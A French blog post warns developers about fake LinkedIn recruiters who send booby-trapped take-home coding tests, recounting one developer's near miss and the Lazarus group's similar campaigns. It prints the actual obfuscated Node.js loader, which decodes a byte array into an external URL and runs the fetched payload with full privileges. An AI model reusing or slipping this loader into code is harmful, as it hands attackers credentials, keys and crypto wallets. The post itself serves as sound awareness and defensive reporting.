17/10/2025

Attention au piège du faux recruteur Linkedin !

Par admin

Attention au piège du faux recruteur Linkedin !

Vous avez peur que l’IA prenne votre boulot ? Et bien David Dodda, lui, a failli se faire avoir par un faux boulot et c’est son IA qui l’a sauvé ! Je vous explique !

Tout commence classiquement sur LinkedIn. David reçoit un message de Mykola Yanchii, Chief Blockchain Officer chez Symfa, une boîte qui développe des plateformes blockchain. Le profil LinkedIn a l’air béton… Il a plus de 1000 connexions, une page entreprise nickel, bref tout respire le sérieux.

Et son message est pro, poli, et propose à David un poste à temps partiel sur BestCity, une plateforme immobilière. Bref, c’est le genre d’opportunité qu’on ne refuse pas quand on est développeur freelance comme David.

Le premier rendez-vous par visio se passe très bien. Le recruteur connait son sujet, pose les bonnes questions, explique le projet et ensuite, comme dans 99% des processus de recrutement tech, on envoie à David un test technique à réaliser chez lui. Il s’agit d’un projet hébergé sur Bitbucket, du code React et Node.js bien propre et sa mission c’est de compléter quelques fonctionnalités et renvoyer le tout avant la prochaine réunion.

Sauf que David, lui, a pris un réflexe que peu de gens ont. Avant même de lancer npm install, il a demandé à son assistant IA (Cursor) de scanner le code pour détecter d’éventuels patterns suspects. Et là, bingo ! L’IA trouve un truc louche dans le fichier server/controllers/userController.js.

Il s’agit d’un malware qui était bien planqué dans une fonction asynchrone complètement obfusquée. Un tableau d’octets encodé en ASCII qui, une fois décodé en UTF-8, révèle une URL pointant vers une API externe. Et cette URL récupère un payload qui est ensuite exécutée avec tous les privilèges Node.js. Cela débouche à sur un accès complet au système, aux credentials, aux wallets crypto, aux données clients…etc. Le jackpot pour un attaquant !

//Get Cookie
(async () => {
 const byteArray = [
 104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,
 110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,
 98, 50, 48, 51, 49, 102, 98, 57
 ];
 const uint8Array = new Uint8Array(byteArray);
 const decoder = new TextDecoder('utf-8');
 axios.get(decoder.decode(uint8Array))
 .then(response => {
 new Function("require", response.data.model)(require);
 })
 .catch(error => { });
})();

Et le truc flippant, c’est le niveau de sophistication de l’opération car là on n’a pas affaire à un script kiddie qui balance un trojan par email. Non, c’est une vraie infrastructure professionnelle avec un profil LinkedIn premium, un Calendly pour la prise de rendez-vous, un Bitbucket privé, du code source propre et fonctionnel (hormis le malware planqué). Et surtout, l’URL du malware est devenue HS 24 heures à peine après l’attaque. C’est donc une infrastructure éphémère qui laisse zéro trace.

Si je relaye ce témoignage de David c’est parce que ce genre d’attaque se multiplie. Ce n’est pas un cas isolé… Par exemple
le groupe nord-coréen Lazarus
utilise cette technique depuis des mois, en créant de fausses entreprises crypto, de faux profils de recruteurs sur LinkedIn, Upwork, Freelancer, et en ciblant spécifiquement les développeurs. Le malware déployé s’appelle BeaverTail, et il installe ensuite un backdoor Python baptisé InvisibleFerret qui fonctionne sur Windows, Linux et macOS. Ce truc vise surtout les extensions de navigateur comme MetaMask ou Coinbase Wallet, récupère tous les mots de passe stockés, et collecte tout ce qui traine.

Alors pourquoi ça marche aussi bien ?

Hé bien parce que les hackers exploitent nos biais cognitifs. L’ambition de décrocher un bon job, la politesse pour ne pas vexer un recruteur, l’urgence créée artificiellement pour qu’on ne prenne pas le temps de réfléchir, la peur de rater une opportunité. Bref, toutes ces émotions qui court-circuitent notre esprit critique.

Heureusement que David a lancé une analyse IA du code sinon, il aurait eu de gros problèmes. Ça prend 30 secondes comme geste barrière et ça peut vous sauver des milliers d’euros et des centaines d’heures de galère.

Si David n’avait pas eu ce réflexe, il aurait lancé npm install, puis npm start, et le malware se serait exécuté en arrière-plan pendant qu’il codait tranquillement ses fonctionnalités. L’attaquant aurait alors eu accès à tout : Ses identifiants GitHub, ses clés SSH, ses tokens d’API, ses wallets crypto si il en a et peut-être même les données de ses clients. Le cauchemar absolu.

Voilà, donc méfiez vous de ce qui arrive via des plateformes de recrutement, on ne sait jamais ! Vous n’aurez peut être pas le job mais vous garderez votre ordinateur propre, vous conserverez vos cryptos, vos mots de passe et vos clients et ça c’est déjà pas si mal !

Source

Source : korben.info